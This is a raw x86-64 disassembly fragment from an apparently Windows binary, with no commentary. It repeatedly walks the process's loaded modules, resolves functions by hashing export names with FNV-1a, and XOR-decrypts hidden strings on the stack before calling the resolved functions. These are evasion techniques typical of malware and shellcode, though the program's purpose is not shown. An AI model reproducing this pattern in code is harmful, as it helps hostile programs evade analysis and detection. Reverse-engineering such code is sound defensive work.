pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400144d0
cmp r8d, 0x3e
jge 0x140014625
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x1400145f0
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400146b4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400146b4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400146af
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014690
cmp edx, 0x2fa62ca8
je 0x1400146b9
test r9d, r9d
jne 0x140014670
mov rax, qword [rax]
jmp 0x140014640
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001ed78]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001ed88]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001ed98]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x14001eda8]
movsd qword [rbp + 0x17], xmm0
mov eax, dword [0x14001edb0]
mov dword [rbp + 0x1f], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014794
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014794
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001478f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014770
cmp edx, 0x491e0a9c
je 0x140014799
test r9d, r9d
jne 0x140014750
mov rax, qword [rax]
jmp 0x140014720
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400148fd
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400147f0
cmp r8d, 0x3c
jge 0x140014945
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140014910
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400149d4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400149d4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400149cf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400149b0
cmp edx, 0x2fa62ca8
je 0x1400149d9
test r9d, r9d
jne 0x140014990
mov rax, qword [rax]
jmp 0x140014960
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001f920]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001f930]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001f940]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x14001f950]
movsd qword [rbp + 0x17], xmm0
mov eax, dword [0x14001f958]
mov dword [rbp + 0x1f], eax
movzx eax, byte [0x14001f95c]
mov byte [rbp + 0x23], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014ac4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014ac4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140014abf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014aa0
cmp edx, 0x491e0a9c
je 0x140014ac9
test r9d, r9d
jne 0x140014a80
mov rax, qword [rax]
jmp 0x140014a50
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140014c2d
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140014b20
cmp r8d, 0x3d
jge 0x140014c75
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x140014c40
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014d04
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014d04
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140014cff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014ce0
cmp edx, 0x2fa62ca8
je 0x140014d09
test r9d, r9d
jne 0x140014cc0
mov rax, qword [rax]
jmp 0x140014c90
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001ee30]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001ee40]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001ee50]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x14001ee60]
movsd qword [rbp + 0x17], xmm0
mov eax, dword [0x14001ee68]
mov dword [rbp + 0x1f], eax
movzx eax, byte [0x14001ee6c]
mov byte [rbp + 0x23], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014df4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014df4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140014def
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014dd0
cmp edx, 0x491e0a9c
je 0x140014df9
test r9d, r9d
jne 0x140014db0
mov rax, qword [rax]
jmp 0x140014d80
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140014f5d
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140014e50
cmp r8d, 0x3d
jge 0x140014fa5
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x140014f70
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140015034
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140015034
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001502f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015010
cmp edx, 0x2fa62ca8
je 0x140015039
test r9d, r9d
jne 0x140014ff0
mov rax, qword [rax]
jmp 0x140014fc0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001edf0]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001ee00]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001ee10]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x14001ee20]
movsd qword [rbp + 0x17], xmm0
mov eax, dword [0x14001ee28]
mov dword [rbp + 0x1f], eax
movzx eax, word [0x14001ee2c]
mov word [rbp + 0x23], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140015124
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140015124
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001511f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015100
cmp edx, 0x491e0a9c
je 0x140015129
test r9d, r9d
jne 0x1400150e0
mov rax, qword [rax]
jmp 0x1400150b0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14001528d
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140015180
cmp r8d, 0x3e
jge 0x1400152d5
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x1400152a0
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140015364
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140015364
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001535f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015340
cmp edx, 0x2fa62ca8
je 0x140015369
test r9d, r9d
jne 0x140015320
mov rax, qword [rax]
jmp 0x1400152f0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001efc0]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001efd0]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001efe0]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x14001eff0]
movsd qword [rbp + 0x17], xmm0
mov eax, dword [0x14001eff8]
mov dword [rbp + 0x1f], eax
movzx eax, byte [0x14001effc]
mov byte [rbp + 0x23], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140015454
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140015454
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001544f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015430
cmp edx, 0x491e0a9c
je 0x140015459
test r9d, r9d
jne 0x140015410
mov rax, qword [rax]
jmp 0x1400153e0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400155bd
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400154b0
cmp r8d, 0x3d
jge 0x140015605
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x1400155d0
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140015694
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140015694
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001568f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015670
cmp edx, 0x2fa62ca8
je 0x140015699
test r9d, r9d
jne 0x140015650
mov rax, qword [rax]
jmp 0x140015620
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001ec00]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001ec10]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001ec20]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x14001ec30]
movsd qword [rbp + 0x17], xmm0
mov eax, dword [0x14001ec38]
mov dword [rbp + 0x1f], eax
movzx eax, word [0x14001ec3c]
mov word [rbp + 0x23], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140015784
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140015784
mov r11d, dword [rbx + 0x20]
